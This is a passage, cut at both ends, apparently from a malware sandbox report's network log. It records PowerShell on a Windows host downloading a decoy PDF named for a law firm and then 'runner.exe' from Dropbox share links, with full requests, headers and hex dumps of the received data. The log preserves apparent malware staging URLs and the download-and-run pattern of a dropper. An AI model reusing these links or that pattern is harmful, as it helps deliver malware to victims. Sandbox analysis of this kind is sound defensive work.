2024-12-16 15:14:29 UTC	1390	IN	Data Raw: 73 3d 2b b0 5b de b2 1b ac ac c0 bf bd 49 06 60 0a 98 e5 c3 12 dc fa fd 5e 94 c6 93 21 f3 32 c4 3a e7 6a 98 8e e5 33 47 4c 6f 66 cf 66 8f 00 02 a7 37 5d af 9f 55 1c 7d 2f aa 0d 63 45 34 4d 9c 3f 0c 6f 34 66 3d 1f 97 c5 b3 39 14 7b e1 d5 d2 27 58 29 01 4d de d6 12 94 45 a0 b2 25 18 06 ec ff 89 3f ee 0f 01 1c 62 05 b0 8e 6f 05 55 2b 9a 4e 2b 15 bb 5a f9 59 a9 86 d5 aa 13 d9 6a a3 fa 56 e4 c4 f6 2d 76 5b 8b dd a8 15 f0 25 70 2a 41 38 f2 87 e9 80 f6 c5 43 a6 19 c3 34 71 63 28 94 f7 d5 3e a8 8d fb a7 40 9e 7a b1 db b3 2a 31 8c 90 2f 56 e5 7c e4 f7 bb 83 9f 23 9a 0d 8c ce 42 04 aa 0d 19 a0 6f d7 b2 9f 34 76 5f 6d 6e 6e d6 69 e4 4e a8 e8 02 80 b4 a5 20 5a 4b c7 e1 90 e1 cc 0d d0 9a 83 61 2e 2f 3c 5f c9 d6 50 bd 42 9b 7a 69 bf 37 7e c9 9f 3e a7 e6 e3 76 c6 ba 83 Data Ascii: s=+[I`^!2:j3GLoff7]U}/cE4M?o4f=9{'X)ME%?boU+N+ZYjV-v[%pA8C4qc(>@z1/V\|#Bo4v_mnniN ZKa./<_PBzi7~>v
2024-12-16 15:14:29 UTC	1390	IN	Data Raw: 3d 19 8d fb dd dd 4b 60 21 0e f5 cc 1f 33 7c 0c d2 d1 00 b1 81 5e 69 42 40 e6 1a a3 91 ad d6 e5 68 63 43 03 68 03 51 81 cd 15 5b 50 25 01 0d 0a a0 cc 37 ab d0 e0 70 db 64 42 b6 9f 01 12 e5 58 36 df 46 f2 c0 36 2c 9a 5a d0 f7 89 35 0a f9 9b 66 01 58 a1 26 0c 6a 4d 5c 4b 7b e9 58 7b 57 de c3 72 c3 01 d2 14 c3 96 8f 11 ca 88 39 7c 1d 63 60 72 6c d4 ef 71 f2 9c 49 0e 9c cd 6d 82 37 6e c9 82 9c 2f 0b 6e 24 69 39 f2 e2 78 83 7f 53 04 3d b6 a3 da b9 a8 71 16 77 6c c9 a0 89 56 73 5e 14 11 7c 7c 73 cb 7f 2a d9 f2 39 07 8f 6b 7d 56 ca c0 8d 61 7f 28 ec 36 ce 58 4c 31 40 12 ec 2c 6f 2c 2b 48 03 40 f2 e5 2b 62 36 46 17 48 75 0a bd e4 dc 22 b3 6e 9c 63 a5 86 71 d4 b8 31 30 23 af 19 81 78 83 e3 e9 5a 37 f8 9c 4b 22 f0 7a 80 ff ce 66 cd 63 e2 27 5d 67 e0 5c b9 05 91 82 Data Ascii: =K`!3\|^iB@hcChQ[P%7pdBX6F6,Z5fX&jM\K{X{Wr9\|c`rlqIm7n/n$i9xS=qwlVs^\|\|s*9k}Va(6XL1@,o,+H@+b6FHu"ncq10#xZ7K"zfc']g\
2024-12-16 15:14:29 UTC	1390	IN	Data Raw: fc c2 eb d3 07 f9 cb a9 80 c2 b8 ec 66 aa f4 9a a9 4f 23 9b 16 c3 b7 0c e9 94 d8 01 42 0d 39 01 c1 0c 00 05 bb 46 fd 6c 74 68 20 1a 73 50 b5 25 bf 9b 6b a1 76 bd ec 3e 5a 2f 34 82 c8 be 2c eb 72 e9 75 b9 81 5a f1 03 58 07 57 22 05 05 6e 85 8b 28 3e ed b7 c4 45 0d bd de ae 37 13 31 f9 80 3b 68 01 71 40 1d 01 b4 9c 4e 2d fe e0 0a c4 3b eb d6 d2 a0 03 02 2f 96 20 44 6d 8b bf 7c 02 6e 06 9b 90 bf 10 fe 39 81 a6 8e a4 2a f2 45 4e 66 1c a4 2b 79 31 d8 41 b0 51 04 2d 99 39 bc 77 2e 54 8b 76 6d a7 d8 02 27 86 e2 f3 dc 57 e3 03 ad 3a ec 69 93 fb 84 77 d0 7c da 4b 0a 2e 39 2d a6 36 d1 88 83 03 6c 5b fc 2f 79 5b 7d d8 a9 35 da cd 0e 88 f8 e2 03 a7 27 d3 a9 e0 0c 12 9c 09 82 d3 79 24 9a 2b cc 48 be 25 3a ab ff d0 19 81 59 31 2f 46 8c 01 89 b0 9a f6 ea aa b3 5c b7 89 Data Ascii: fO#B9Flth sP%kv>Z/4,ruZXW"n(>E71;hq@N-;/ Dm\|n9*ENf+y1AQ-9w.Tvm'W:iw\|K.9-6l[/y[}5'y$+H%:Y1/F\
2024-12-16 15:14:29 UTC	1390	IN	Data Raw: 41 d0 ce 03 89 61 57 3a e2 0c 48 31 96 53 3b 09 22 96 46 85 74 06 dc 97 14 6e 80 5c 17 6e 36 1a 8d 75 f8 7f 78 5c 36 a8 54 68 6b 72 c2 09 eb c5 52 50 48 b9 ff e5 a7 0f 83 fe 39 c0 51 2f 55 aa a1 dd 0a 37 5c c2 bc b6 5f 75 f5 b9 25 6c 88 f3 83 06 9b 56 b8 4a 65 5e 38 8b ca 20 06 d7 57 1a f5 b5 67 d3 e7 cf d7 5e bd b0 17 96 14 85 5e 3c 5b 03 09 6f 56 e4 52 22 10 cb 74 09 03 2f bd f9 23 7e 95 07 5a 94 28 41 b2 07 11 ae 60 79 c8 fb cd c2 c6 aa 3b ff 69 1b 7c 15 7c 8c 84 24 dc 79 fa e4 d1 a3 a5 ed fe e0 66 98 c6 c9 78 09 45 c6 ed ac 3f 9a 0c c3 a5 83 d4 1b b2 e1 cd d2 d6 64 9c f4 87 a3 da a3 a5 d3 0f 3b df 56 0f 52 3f ec 8d c2 d5 fd 00 d6 3f 8d d2 70 d8 5c da 1a 80 ee 12 ae ae d5 ea 8f 9e 3c a5 a3 07 57 cc bd 02 12 70 3b 73 2e 49 16 9f 4e 31 20 51 39 f9 af 05 Data Ascii: AaW:H1S;"Ftn\n6ux\6ThkrRPH9Q/U7\_u%lVJe^8 Wg^^<[oVR"t/#~Z(A`y;i\|\|$yfxE?d;VR??p\<Wp;s.IN1 Q9
2024-12-16 15:14:29 UTC	1390	IN	Data Raw: 87 13 fa f8 51 4e 97 0f d5 84 e9 74 fa 59 da 7c bf e3 19 63 e7 07 e3 a7 9c f0 cd e3 fc 08 b5 3a ce 6e 1e 74 71 58 2e 86 7b e3 3e 33 82 51 35 c1 d9 f3 e4 51 51 26 64 2c af 85 36 8b 9c 7b 7a b0 77 c8 75 fa 03 ca fd a0 c3 ce 9a 6e be f5 7a 7b 67 77 ef cd db fd 77 ef 0f 0e 8f 8e 3f 7c 3c 39 fd f4 f9 cb d7 6f df 7f 30 cf 87 a1 c4 49 7a 7e 91 75 7b fd c1 af e1 68 3c b9 bc ba be f9 5d 6f ac 3d 5b 7f fe e2 ef 97 af f2 63 f2 15 f4 d6 9e 55 aa 4f dd 8a 03 ff c2 3f ab 3f 5d fa b7 46 ff 56 3a 94 2b 20 dc 78 de 0a 95 8b c3 47 91 c8 67 63 2b 40 91 24 6f ca 6e 7d 87 bd d2 71 e7 b6 91 dc ac b1 6c 22 71 23 d8 4d ad 1f 0c cf f9 69 73 e6 2f 50 b6 99 79 ee 77 4a 8a 21 24 4f 4b 33 1e c8 1d fb f4 19 74 19 80 e6 f6 62 bd 83 59 19 a8 db d0 e5 f1 d2 79 f6 89 b5 56 54 75 9f c9 63 Data Ascii: QNtY\|c:ntqX.{>3Q5QQ&d,6{zwunz{gww?\|<9o0Iz~u{h<]o=[cUO??]FV:+ xGgc+@$on}ql"q#Mis/PywJ!$OK3tbYyVTuc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49764	162.159.61.3	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-16 15:14:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49765	172.64.41.3	443	4888	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:28 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-12-16 15:14:28 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49769	162.125.69.18	443	9196	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:29 UTC	246	OUT	GET /scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com Connection: Keep-Alive
2024-12-16 15:14:30 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: frame-ancestors 'self' https://.dropbox.com ; frame-src https:// carousel: dbapi-6: dbapi-7: dbapi-8: dropbox-client: itms-apps: itms-appss: ; font-src https://* data: ; connect-src https://* ws://127.0.0.1:/ws blob: wss://dsimports.dropbox.com/ ; worker-src https://www.dropbox.com/static/serviceworker/ https://www.dropbox.com/encrypted_folder_download/service_worker.js https://www.dropbox.com/service_worker.js blob: ; default-src https://www.dropbox.com/playlist/ https://www.dropbox.com/v/s/playlist/ https://.dropboxusercontent.com/p/hls_master_playlist/ https://.dropboxusercontent.com/p/hls_playlist/ ; report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; form-action https://docs.google.com/document/fsip/ https://docs.google.com/spreadsheets/fsip/ https://docs.google.com/presentation/fsip/ https://docs.sandbox.google.com/document/fsip/ https://docs.sandbox.google.com/spreadsheets/fsip/ https://docs.sandbox.google.com/presentation/fsip/ https://.purple.o [TRUNCATED] Content-Type: text/html; charset=utf-8 Location: https://ucfef6d549d3a2fa51e2fe02a12f.dl.dropboxusercontent.com/cd/0/get/CgUgHK8wYT_OxweEoS194JM8vx4j5wfJTYiaj2DfXgGXbpwrNd30UhaVnbb-rxJW755uS4OfQiRDFufnLKajMGFot1LRySxiJMWbU05_OTltQ7Y25pPoKci1xvMiK2PIv1Ba6kO5Enob2wqNAPyPl9Fb/file?dl=1# Pragma: no-cache Referrer-Policy: strict-origin-when-cross-origin Set-Cookie: gvc=Mjc3NTA2Mjg1NDc1NjI5Mjg3MjkyNjEyMDQ2NjY5NjA2NzA4NjM0; Path=/; Expires=Sat, 15 Dec 2029 15:14:29 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: t=ctWQAO_noohiWcQpdr2syHld; Path=/; Domain=dropbox.com; Expires=Tue, 16 Dec 2025 15:14:29 GMT; HttpOnly; Secure; SameSite=None Set-Cookie: __Host-js_csrf=ctWQAO_noohiWcQpdr2syHld; Path=/; Expires=Tue, 16 Dec 2025 15:14:29 GMT; Secure; SameSite=None Set-Cookie: __Host-ss=NX01cPHTqg; Path=/; Expires=Tue, 16 Dec 2025 15:14:29 GMT; HttpOnly; Secure; SameSite=Strict Set-Cookie: locale=en; Path=/; Domain=dropbox.com; Expires=Sat, 15 Dec 2029 15:14:29 GMT X-Content-Type-Options: nosniff X-Permitted-Cross-Domain-Policies: none X-Robots-Tag: noindex, nofollow, noimageindex X-Xss-Protection: 1; mode=block Content-Length: 17 Date: Mon, 16 Dec 2024 15:14:30 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Server: envoy Cache-Control: no-cache, no-store X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 07b4f0fa4efc40ada29b356be8d1bce6 Connection: close
2024-12-16 15:14:30 UTC	17	IN	Data Raw: 3c 21 2d 2d 73 74 61 74 75 73 3d 33 30 32 2d 2d 3e Data Ascii: ...status=302-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49780	162.125.65.15	443	9196	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:32 UTC	370	OUT	GET /cd/0/get/CgUgHK8wYT_OxweEoS194JM8vx4j5wfJTYiaj2DfXgGXbpwrNd30UhaVnbb-rxJW755uS4OfQiRDFufnLKajMGFot1LRySxiJMWbU05_OTltQ7Y25pPoKci1xvMiK2PIv1Ba6kO5Enob2wqNAPyPl9Fb/file?dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: ucfef6d549d3a2fa51e2fe02a12f.dl.dropboxusercontent.com Connection: Keep-Alive
2024-12-16 15:14:33 UTC	761	IN	HTTP/1.1 200 OK Content-Type: application/binary Accept-Ranges: bytes Cache-Control: max-age=60 Content-Disposition: attachment; filename="Lewis Silkin LLP.pdf"; filename*=UTF-8''Lewis%20Silkin%20LLP.pdf Content-Security-Policy: sandbox Etag: 1733684767914485d Pragma: public Referrer-Policy: no-referrer Vary: Origin X-Content-Security-Policy: sandbox X-Content-Type-Options: nosniff X-Robots-Tag: noindex, nofollow, noimageindex X-Server-Response-Time: 185 X-Webkit-Csp: sandbox Date: Mon, 16 Dec 2024 15:14:32 GMT Server: envoy Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Length: 106848 X-Dropbox-Response-Origin: far_remote X-Dropbox-Request-Id: 6d0c7f72b6b04be1a6b7e02cf5a46175 Connection: close
2024-12-16 15:14:33 UTC	15623	IN	Data Raw: 25 50 44 46 2d 31 2e 37 0d 0a 25 b5 b5 b5 b5 0d 0a 31 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 43 61 74 61 6c 6f 67 2f 50 61 67 65 73 20 32 20 30 20 52 2f 4c 61 6e 67 28 65 6e 29 20 2f 53 74 72 75 63 74 54 72 65 65 52 6f 6f 74 20 32 35 20 30 20 52 2f 4d 61 72 6b 49 6e 66 6f 3c 3c 2f 4d 61 72 6b 65 64 20 74 72 75 65 3e 3e 2f 4d 65 74 61 64 61 74 61 20 38 35 20 30 20 52 2f 56 69 65 77 65 72 50 72 65 66 65 72 65 6e 63 65 73 20 38 36 20 30 20 52 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 32 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 50 61 67 65 73 2f 43 6f 75 6e 74 20 32 2f 4b 69 64 73 5b 20 33 20 30 20 52 20 32 30 20 30 20 52 5d 20 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 33 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 50 61 67 65 2f 50 61 72 65 6e 74 20 Data Ascii: %PDF-1.7%1 0 obj<</Type/Catalog/Pages 2 0 R/Lang(en) /StructTreeRoot 25 0 R/MarkInfo<</Marked true>>/Metadata 85 0 R/ViewerPreferences 86 0 R>>endobj2 0 obj<</Type/Pages/Count 2/Kids[ 3 0 R 20 0 R] >>endobj3 0 obj<</Type/Page/Parent
2024-12-16 15:14:33 UTC	16384	IN	Data Raw: 6f b3 05 3c fc 9b b7 28 fc 39 03 da b8 cf 07 d8 da eb fe 02 d3 6f 21 b6 84 6a 9a 74 98 8e 55 01 58 bc 6d 90 09 f4 65 c0 39 f5 ae a6 c3 52 46 f1 be a9 a6 8d bc 5b c3 31 1b b9 dd c8 3c 67 d3 6f 6a d6 12 bd 9b ea 79 98 8a 5e cd ca 9c 2f ee dd 3f 93 df f1 3c f7 e3 3e 96 23 d4 2c 35 45 18 32 c4 60 66 ce 30 54 e4 7e 84 fe 55 d0 7c 1f d4 fe d7 e1 27 b3 63 96 b3 9d 95 46 7f 85 be 61 fa 96 ad 4f 89 9a 48 d5 bc 1d 38 05 44 90 3a ca ac c7 00 73 82 49 f4 c1 27 f0 ae 3f e1 8d 9d f6 87 ae 5f a9 86 69 74 f9 63 da 24 44 24 31 07 28 c3 d8 a9 3c d6 56 71 af 7e 8c f4 95 48 57 ca 7d 9b 7e f4 1e 9f d7 a3 3d 83 b5 79 07 c5 7b 59 34 bf 13 68 de 23 81 4e 63 c0 72 3d 51 83 0f cc 13 f9 57 af a9 dc a0 e0 8c 8e 86 b8 af 8a 5a 57 f6 8f 82 ae 24 45 06 5b 47 59 d7 3e 83 83 fa 12 7f 0a Data Ascii: o<(9o!jtUXme9RF[1<gojy^/?<>#,5E2`f0T~U\|'cFaOH8D:sI'?_itc$D$1(<Vq~HW}~=y{Y4h#Ncr=QWZW$E[GY>
2024-12-16 15:14:33 UTC	761	IN	Data Raw: cd 31 4a 9c ec 77 4a 46 46 6a 42 cc 0a e5 e7 a9 2b 28 81 25 6c b0 f6 df ea 58 7a 55 9a db 7d 7a fe d9 d3 91 10 f4 c5 e1 ac a7 44 0e 97 9b ad 9a df f7 a5 f4 6a eb a3 14 e7 d5 f7 93 51 18 91 f1 42 81 8c 81 18 74 41 0c 1c 17 06 84 7b 47 a5 f0 d1 c3 dc 63 92 c6 f4 36 16 a5 14 e6 e6 14 67 8c 12 4e 96 75 65 7a 7a 49 71 f1 f0 59 4d bd bf 63 83 af ca f1 16 8f 1d 3e e8 96 de d7 e5 4d 7f 3a f4 19 da 18 37 c9 58 78 ad 31 71 1d 03 17 8d 32 c9 ae c6 ca ae 86 4c cf 98 5e 33 bd 6f 52 62 65 2f 1f d3 89 b8 d4 d4 0c a3 ec a2 37 26 36 d6 b8 42 74 98 6b ef 97 73 ef 24 fa 30 d5 52 d9 5c f1 1e 95 4c 91 fd 60 ab d1 05 6b 37 79 75 d2 fd 8c 17 e0 7c d2 85 ee 6e 1f 95 3a 32 37 77 ac e6 e2 e0 ef b8 e1 55 be eb d6 88 57 b5 bd 93 f8 3a f5 16 4a a2 6a cd 2b e7 b6 84 07 13 f8 f7 62 6f Data Ascii: 1JwJFFjB+(%lXzU}zDjQBtA{Gc6gNuezzIqYMc>M:7Xx1q2L^3oRbe/7&6Btks$0R\L`k7yu\|n:27wUW:Jj+bo
2024-12-16 15:14:33 UTC	16384	IN	Data Raw: 51 18 94 6c 67 a6 be 6f af d1 66 af 6e e5 a2 55 46 bd de e4 4a ec 37 bc b8 7a 54 d9 a2 cd bd 7b 72 32 37 d7 24 99 8d fd 8c c5 23 86 57 b5 d5 2f ea 92 e3 73 2b f6 d0 16 bc 11 4c 34 56 f3 bb 3f 96 83 49 78 8d de e2 42 a3 b7 a4 b0 de c8 76 18 f7 19 b9 71 43 ac dc 13 2c a7 57 61 d1 48 df b0 6b 07 49 a7 b9 22 43 74 e1 5e 47 79 5e 6d 8b 7b 52 a3 c3 f2 bc 72 57 9b 14 7e 5f 3c a6 2e 26 0b 65 d1 ef 64 4b c1 06 83 3d c4 74 41 55 4d 96 cc 6c ce 08 b1 78 6f a2 31 83 b2 bd d9 dc 9b ed cf de 99 7d 3c 5b c9 4e 90 e2 b8 7a bc fc d6 d3 66 bc d4 54 4a 77 1d 64 03 19 de 11 91 58 61 51 cf 5f 75 7a ca c9 be e9 5b 7e a5 77 32 cb 72 66 65 66 71 1d 67 82 71 9d de d5 df 3a c0 3a d0 2a 74 49 d9 f1 2e 53 76 5a 7a 6a 3a d7 39 94 84 46 b2 e9 32 1a 59 bf 38 a4 52 62 91 ca 62 f6 46 66 Data Ascii: QlgofnUFJ7zT{r27$#W/s+L4V?IxBvqC,WaHkI"Ct^Gy^m{RrW~_<.&edK=tAUMlxo1}<[NzfTJwdXaQ_uz[~w2rfefqgq::*tI.SvZzj:9F2Y8RbbFf
2024-12-16 15:14:33 UTC	16027	IN	Data Raw: f7 8f f9 69 ff f7 e9 5f 52 2c 56 ca d5 54 17 fe c8 c2 72 fe b5 68 6d 6b ab 7d f5 0f 98 02 f6 af 11 5c 56 a9 d5 4c 41 8f ca 05 b4 ab 70 a0 70 b0 c0 14 7c e0 cf 0b 12 a8 52 a1 5c cd 31 63 03 68 00 ae cd 8a b5 1c 37 7e 32 21 bb 49 e3 77 84 b7 1a 00 92 c5 62 c5 0a 38 a0 46 d3 28 4d 64 b7 29 50 3a 90 46 6b d2 c3 e9 c9 f4 c9 b4 29 6d 83 3d d3 f3 bc 32 6e fc bb ee 04 43 93 be 41 d9 5a d8 aa 6f 3d 84 ef b9 79 2b 1c 1a 12 a5 d2 56 db 81 fb 97 a1 65 84 f1 5a 56 54 bc c8 ee 1d f6 fe 1c 3b 97 fa dc 7f e8 0e 92 e3 22 01 10 f1 92 df e8 ad d3 df d7 5d 0f d6 50 ad 58 60 fa 19 ba 9f 41 14 23 c3 82 74 f8 56 fa c3 25 52 e3 b3 32 f0 f5 00 df a1 f1 14 5c 23 73 f5 96 ad cf a0 1b a9 18 b2 1c d9 0f c3 43 c6 e4 a2 d1 e9 d1 19 d2 98 d6 46 4f cb da c8 fb 64 43 33 26 0e 8f c8 a7 31 Data Ascii: i_R,VTrhmk}\VLApp\|R\1ch7~2!Iwb8F(Md)P:Fk)m=2nCAZo=y+VeZVT;"]PX`A#tV%R2\#sCFOdC3&1
2024-12-16 15:14:33 UTC	16384	IN	Data Raw: 91 f8 fe 2c 14 86 b6 a8 a8 2f 88 41 47 61 a6 b0 2c 1c 0b e5 79 4d 3b b2 e1 b5 ea de 42 08 04 7a 67 ba ae 81 f1 8f 46 9d 7a d6 e5 5a 88 2b 51 d1 55 6d 06 74 86 50 bd 0c be b2 f5 d3 db ba 43 c6 fc e0 b0 c3 96 ab 74 a5 7c c1 44 82 e2 ba 46 b7 f6 1f b6 d6 fc fa 68 b6 98 f2 71 c9 72 29 63 61 a3 4e f7 ca 58 6d ba e2 a5 ab 9f b8 9e cb 59 45 8f dc 9f c0 a3 b9 c1 94 53 f0 cb 3d 3d 15 47 f7 78 c6 ad d1 10 16 36 52 1a c9 c8 23 39 bf d6 ea 30 69 71 07 8c 30 8c 6c b2 2f 9b 1b 91 7d 56 0d 41 5c fa 9a 4e 27 d5 46 05 66 7c 65 05 c7 91 ae 5f 71 f9 97 1a 1c e2 b0 81 1d 6a 0a 1b 64 50 71 8c 38 f0 bd 32 a8 37 1a 58 20 18 04 21 18 b4 f7 2d 2e 9e d2 67 3b 03 29 ca ac 4a 81 54 30 00 e0 d7 6d 94 72 8d c6 ba 2a a8 e6 20 9c be e3 96 a2 68 7d 96 46 01 a2 07 d1 0b 12 8e 2e c0 78 b1 Data Ascii: ,/AGa,yM;BzgFzZ+QUmtPCt\|DFhqr)caNXmYES==Gx6R#90iq0l/}VA\N'Ff\|e_qjdPq827X !-.g;)JT0mr* h}F.x
2024-12-16 15:14:33 UTC	16384	IN	Data Raw: 34 34 20 35 30 30 20 34 34 34 20 33 33 33 20 35 30 30 20 35 30 30 20 32 37 38 20 32 37 38 20 35 30 30 20 32 37 38 20 37 37 38 20 35 30 30 20 35 30 30 20 35 30 30 20 35 30 30 20 33 33 33 20 33 38 39 20 32 37 38 20 35 30 30 20 35 30 30 20 37 32 32 20 30 20 35 30 30 20 34 34 34 5d 20 0d 0a 65 6e 64 6f 62 6a 0d 0a 38 32 20 30 20 6f 62 6a 0d 0a 5b 20 32 37 38 5d 20 0d 0a 65 6e 64 6f 62 6a 0d 0a 38 33 20 30 20 6f 62 6a 0d 0a 5b 20 32 32 36 5d 20 0d 0a 65 6e 64 6f 62 6a 0d 0a 38 34 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 46 69 6c 74 65 72 2f 46 6c 61 74 65 44 65 63 6f 64 65 2f 4c 65 6e 67 74 68 20 31 39 32 37 32 2f 4c 65 6e 67 74 68 31 20 38 33 31 36 34 3e 3e 0d 0a 73 74 72 65 61 6d 0d 0a 78 9c ec 7d 07 5c 94 57 ba fe 39 df 37 8d 29 cc 0c 32 b4 01 66 c6 01 44 47 c0 82 Data Ascii: 44 500 444 333 500 500 278 278 500 278 778 500 500 500 500 333 389 278 500 500 722 0 500 444] endobj82 0 obj[ 278] endobj83 0 obj[ 226] endobj84 0 obj<</Filter/FlateDecode/Length 19272/Length1 83164>>streamx}\W97)2fDG
2024-12-16 15:14:33 UTC	357	IN	Data Raw: c3 44 d5 ea 46 b7 47 5f 89 0a cc 9c 5c 7a 74 6a 60 ff 41 1e 5d d7 cd a1 8f 7a de eb d6 a4 d9 f8 86 ad 07 5c 0e 19 17 3a ce a7 9e c3 45 aa e3 8c 9c 01 92 ca 0b 51 73 4b 0a bb fe e2 52 94 df 79 c1 cd 64 37 f7 a4 46 6d 67 ce f7 c8 0a 74 f6 6e e7 3a e4 8b 36 a7 12 0e f4 df f8 ac 53 54 f2 d6 9b 15 3f da 50 9d 7c 2e 4e f3 3d 15 d2 ab 73 d7 6e e2 d2 c6 8e a2 fd 69 0b f6 78 f5 ed c1 5b 38 b0 e0 ac eb b9 2b fb 66 4c 12 0e 6b 36 28 7c 8d e5 c0 3b 3f 1c be d1 74 de ac bc 43 e2 62 17 39 59 ec 42 c3 e6 9f 84 b0 fd 9b d3 f5 27 b7 fa 26 27 88 92 a2 f5 28 ed b0 81 6c c5 17 db 9a 1e 51 40 92 ea 9a 8d d8 9e 34 ed 75 21 fd ab 07 0a c4 9e 02 c2 c3 c7 71 7d 66 d0 16 72 7a 70 e0 86 79 7d e8 d1 e5 95 ef 0a 37 7e cb cf 1b 3a c1 a3 61 d1 37 43 96 90 e1 26 c3 6d c5 6d c8 a0 92 ba Data Ascii: DFG_\ztj`A]z\:EQsKRyd7Fmgtn:6ST?P\|.N=snix[8+fLk6(\|;?tCb9YB'&'(lQ@4u!q}frzpy}7~:a7C&mm
2024-12-16 15:14:33 UTC	8544	IN	Data Raw: 1d 4b 08 48 1c 19 42 6c 58 e3 d4 c8 32 a0 b4 fc cb 65 7b 3a 6f eb eb 54 26 bf d8 7a eb 67 67 eb 34 2d 5b e9 5b 35 62 d4 8d 76 e5 bd a2 12 5a f7 fd ce 67 e4 cf 6f 3b 6f 38 32 89 27 5c b4 6a e6 2f 61 da 81 7d 3c 9e 76 d9 ea d5 e2 cd e0 fc 4b d1 1b 84 e1 75 ee 26 8c 9f a0 71 1e b3 fe cc 45 e5 5a e1 05 c1 98 b0 77 b7 d3 56 ae 39 b7 78 a2 f5 51 ff e3 d7 fc 44 1d 16 0e b2 4f 7c b3 f3 85 de f9 4b f1 b9 21 5d 0f 2e 90 5d 59 39 e4 a8 5b 16 e7 89 a7 62 77 95 6d d9 88 3e 5b 4f da 46 ba f6 9b 32 ee 6a b6 57 72 ee b1 79 0d 1b f4 ef f7 8d ac cc e1 d9 77 69 97 0e ec 55 e7 df bc b8 2d db e3 f9 e2 62 a7 c7 64 b1 d3 23 a3 79 f9 7c ae b8 d8 e9 1a b4 5d ae 71 36 75 3a 06 4d 87 79 5c fe 87 67 d3 62 6e aa a5 8d c1 9d 8e 70 3c 2d e6 86 83 6d bb 42 47 47 88 67 96 f4 a8 0c 6b 3e Data Ascii: KHBlX2e{:oT&zgg4-[[5bvZgo;o82'\j/a}<vKu&qEZwV9xQDO\|K!].]Y9[bwm>[OF2jWrywiU-bd#y\|]q6u:My\gbnp<-mBGGgk>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49794	162.125.69.18	443	9196	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 15:14:35 UTC	212	OUT	GET /scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz67&dl=1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: www.dropbox.com
2024-12-16 15:14:36 UTC	4091	IN	HTTP/1.1 302 Found Content-Security-Policy: report-uri https://www.dropbox.com/csp_log?policy_name=metaserver-whitelist ; object-src 'self' https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ ; media-src https://* blob: ; style-src https://* 'unsafe-inline' 'unsafe-eval' ; script-src 'unsafe-eval' 'inline-speculation-rules' https://www.dropbox.com/static/api/ https://www.dropbox.com/pithos/* https://www.dropbox.com/page_success/ https://cfl.dropboxstatic.com/static/ https://www.dropboxstatic.com/static/ https://accounts.google.com/gsi/client https://canny.io/sdk.js https://www.paypal.com/sdk/js https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-inline' 